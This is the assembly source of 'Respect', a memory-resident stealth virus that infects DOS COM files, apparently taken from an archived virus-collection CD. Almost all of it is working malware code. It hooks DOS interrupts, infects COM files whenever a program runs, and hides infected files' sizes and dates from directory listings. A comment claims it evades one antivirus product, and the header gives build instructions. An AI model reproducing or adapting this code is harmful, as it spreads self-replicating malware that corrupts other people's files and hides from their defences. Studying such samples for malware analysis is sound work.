HPAVC/HPAVC CD-ROM.iso/pc/VIRDCOLL.ZIP/RESPECT.ZIP/RESPECT.ASM

Assembly Source File | 1997-07-26 | 9.6 KB | 354 lines

; Virus Name: Respect
; Virus Author: Virtual Daemon
; Group: SLAM
; Virus Type: TSR stealth COM infector
; Virus Size: 624 bytes
; Virus created on 14 January 1997 (dunno what time but I think it was
;                   morning... maybe at 3-4 am... ;)))
;
; Comments: -infection on 4bh (=execute)
;           -stealth on 11h/12h (FCB) and 4eh/4fh (DTA)
;           -intercept 5700h for more "stealthness" ;)))
;           -INT 24h handler (for errors)
;           -restore original file date/time/attributes
;           -no payload, no encryption... :( just for learning basic stealth!
; To compile use: TASM respect.asm
;                 TLINK respect.obj
;                 EXE2BIN respect.exe respect.com
;                 DEL respect.exe  \
;                 DEL respect.obj   => delete un-necessary files
;                 DEL respect.map  /
.model tiny
.code
   org 0
begin:
   call start
start:
   pop bp
   sub bp,offset start

   push ds
   push es

   mov ax,'=-'                  ;check if the virus is already installed
   int 21h
   cmp cx,'-='
   je complete

   mov ah,4ah                   ;get largest block available
   mov bx,0ffffh
   int 21h

   sub bx,(endheap-begin+15)/16+1       ;substract from it our virus
   mov ah,4ah
   int 21h
   jc complete
   sub word ptr ds:[2],(endheap-begin+15)/16+1

   mov ah,48h                   ;allocate memory for the virus
   mov bx,(endheap-begin+15)/16
   int 21h
   jc complete

   mov es,ax
   dec ax
   mov ds,ax

   mov byte ptr ds:[0],'Z'      ;mark the MCB
   mov ax,8                     ;F-Prot will no longer detect a new Chill
   mov word ptr ds:[1],ax    ;variant....

   push cs
   pop ds
   xor di,di
   mov cx,(heap-begin)/2+1
   mov si,bp
   rep movsw                    ;load the virus in memory

   xor ax,ax
   mov ds,ax
   push ds
   lds ax,ds:[21h*4]            ;save old INT 21h interrupt vector
   mov word ptr es:oldint21,ax
   mov word ptr es:oldint21+2,ds
   pop ds
   mov word ptr ds:[21h*4],offset int21 ;set our INT 21h handler
   mov ds:[21h*4+2],es
complete:
   pop es
   pop ds
   lea si,[bp+offset jmpbuf]    ;restore saved bytes
   mov di,100h
   push di
   movsw
   movsb
   retn                         ;return to host
jmpbuf   db 0cdh,20h,0


; our INT 24h handler
int24:
   mov al,3h                    ;don't display errors
   iret

; the INT 21h handler
int21:
   cmp ax,'=-'
   jne continue
   mov cx,'-='
   iret
continue:
   cmp ah,4bh
   jne next
   jmp infect
next:
   cmp ah,11h
   je FCB_stealth
   cmp ah,12h
   je FCB_stealth
   cmp ah,4eh
   je DTA_stealth
   cmp ah,4fh
   je DTA_stealth
   cmp ax,5700h
   jne exithandler
   jmp time_stealth
exithandler:
   db 0eah
oldint21   dd ?

; The FCB stealth method = hides infected file(s) from DIR
FCB_stealth:
   pushf
   push cs
   call exithandler             ;fake a int 21h call
                                ;on return ds:dx will point to unopened FCB
   or al,0                      ;check if the dir call was sucessfull...
                                ;al=0 => no errors
   jnz skip_dir                 ;if error then return to original 11h/12h
   push ax bx es                ;save ax,bx and es registers

   mov ah,51h                   ;DOS function=get current PSP to es:bx
   int 21h
   mov es,bx
   cmp bx,es:[16h]              ;is the PSP ok? we must check if it's a DIR
   jnz error                    ; call and not other programs

   mov bx,dx                    ;get offset to unopened FCB in bx
   mov al,[bx]                  ;al holds current drive
   push ax                      ;extended FCB=FFh
   mov ah,2fh                   ;DOS function=get DTA area in es:bx
   int 21h

   pop ax                       ;restore ax (can be 0 or FFh)
   inc al                       ;if the FCB is extended then FFh+1=0
                                ;if not then 0 + 1 = 1 <> 0
   jnz no_ext                   ;not EXTENDED? Proceed then... ;)
   add bx,7                     ;if EXTENDED then bx:=bx+7
                                ;EXTENDED FCB's have some extra bytes so we
                                ; must skip those bytes
no_ext:
   cmp word ptr es:[bx+1fh],0   ;is > 65k?
   jnz error                    ;guess so... ;( gotta go then!
   mov ax,es:[bx+19h]           ;get datestamp in ax
   cmp ah,100                   ;if ah is greater then 100 then the file
                                ; is infected with our virus
   jb error                     ;if not then get out of here!

   ror ah,1                     ;rotate to right
   sub ah,100                   ;years=years-100 => the original file's year
   rol ah,1                     ;rotate to left
   mov es:[bx+19h],ax           ;restore the original year in memory

   sub word ptr es:[bx+1dh],(heap-begin) ;substract our virus size
error:
   pop es bx ax                 ;restore registers es, bx and ax
skip_dir:
   retf 2                       ;return far

; The file handle stealth method = hides infected file(s) from progs like NC
DTA_stealth:
   pushf
   push cs
   call exithandler             ;fake a int 21h call
   jc no_files                  ;the 4eh/4fh functions automaticaly
                                ; set up the carry flag on error

   pushf                        ;push the flags bcox they will be destroyed
                                ; by the int call
   push ax di es bx             ;save ax,di,es and bx registers

   mov ah,2fh                   ;DOS function=get DTA area in es:bx
   int 21h

   mov ax,es:[bx+18h]           ;get datestamp
   cmp ah,100                   ;check if above 100
   jb not_inf                   ;if not return

   cmp word ptr es:[bx+1ah],(heap-begin) ;check if the file is too small
   ja hide                      ;if not too small go and stealth it
   cmp word ptr es:[bx+1Ch],0   ;check if too large
   je not_inf
hide:
   ror ah,1
   sub ah,100                   ;get the original file's year back
   rol ah,1
   mov es:[bx+18h],ax           ;put the original year in memory

   sub word ptr es:[bx+1ah],(heap-begin)  ; hide file size
not_inf:
   pop bx es di ax              ;restore bx,es,di and ax registers
   popf                         ;restore flags
no_files:
   retf 2                       ;return far

; The time stealth method = hides infected file(s)'s time/date from being seen
time_stealth:
   pushf
   call dword ptr cs:[oldint21] ;fake a int 21h call
   jc shit                      ;if error then return
   cmp dh,100                   ;check if years > 100
   jb no_way                    ;if not then return
   ror dh,1                     ;\
   sub dh,100                   ; "adjust" the file's year :-)
   rol dh,1                     ;/
no_way:
   iret                         ;return
shit:
   retf 2                       ;return far


infect:
   pushf
   push ax bx cx dx si di bp ds es
   push ds
   push dx

   mov ax,3524h                 ;get old INT 24h handler
   int 21h
   mov word ptr cs:[old_int24],bx
   mov word ptr cs:[old_int24+2],es

   push cs
   pop ds
   lea dx,int24                 ;set our INT 24h handler
   mov ax,2524h
   int 21h

   pop dx
   pop ds
   mov ax,4300h                 ;get file attributes
   int 21h
   push ds
   push dx
   push cx

   mov ax,4301h                 ;set new attributes (archive only)
   xor cx,cx
   int 21h

   mov ax,3d02h                 ;open the file for reading and writting
   pushf
   push cs
   call exithandler
   xchg ax,bx


   mov ax,5700h                 ;get file's date/time
   pushf
   call dword ptr cs:[oldint21]
   mov word ptr cs:[file_time],cx
   mov word ptr cs:[file_date],dx

   push cs
   pop ds
   push cs
   pop es

   mov ah,3fh                   ;read from file the first 3 bytes
   lea dx,buffer                ;save them into our buffer
   mov cx,3
   int 21h

   mov ax,4202h                 ;go to EOF
   xor cx,cx
   cwd
   int 21h

   mov word ptr file_size,ax
   mov word ptr file_size+2,dx

   cmp word ptr buffer,'MZ'     ;check if EXE
   je close_file
   cmp word ptr buffer,'ZM'
   je close_file

   mov ax,word ptr file_size    ;check if too big
   cmp ax,65535-(endheap-begin)
   ja close_file

   mov cx,word ptr buffer+1     ;check if already infected
   add cx,heap-begin+3
   cmp ax,cx
   je close_file

   mov di,offset jmpbuf         ;prepare new JMP
   mov si,offset buffer
   movsb
   movsw
   mov byte ptr [offset buffer],0e9h
   sub ax,3
   mov word ptr [offset buffer+1],ax

   mov ah,40h                   ;write the virus to file
   lea dx,begin
   mov cx,heap-begin
   int 21h

   mov ax,4200h                 ;go to BOF
   xor cx,cx
   cwd
   int 21h

   mov ah,40h                   ;write the new JMP
   lea dx,buffer
   mov cx,3
   int 21h

   mov ax,5701h                 ;set old file's time/date
   mov cx,word ptr cs:[file_time]
   mov dx,word ptr cs:[file_date]
   ror dh,1                     ;mark the file for steath
   add dh,100
   rol dh,1
   int 21h
close_file:
   mov ah,3eh                   ;close the file
   int 21h

   mov ax,4301h                 ;set old attributes
   pop cx
   pop dx
   pop ds
   int 21h

   mov ds,word ptr cs:[old_int24+2]
   mov dx,word ptr cs:[old_int24]
   mov ax,2524h                 ;set old INT 24h handler
   int 21h
exit:
   pop es ds bp di si dx cx bx ax
   popf
   jmp exithandler

old_int24   dd ?
virus_name  db 'Respect'
signature   db '[VD/SLAM]'
heap:
file_size   dd ?
file_time   dw ?
file_date   dw ?
buffer   db 3 dup (?)
endheap:
end begin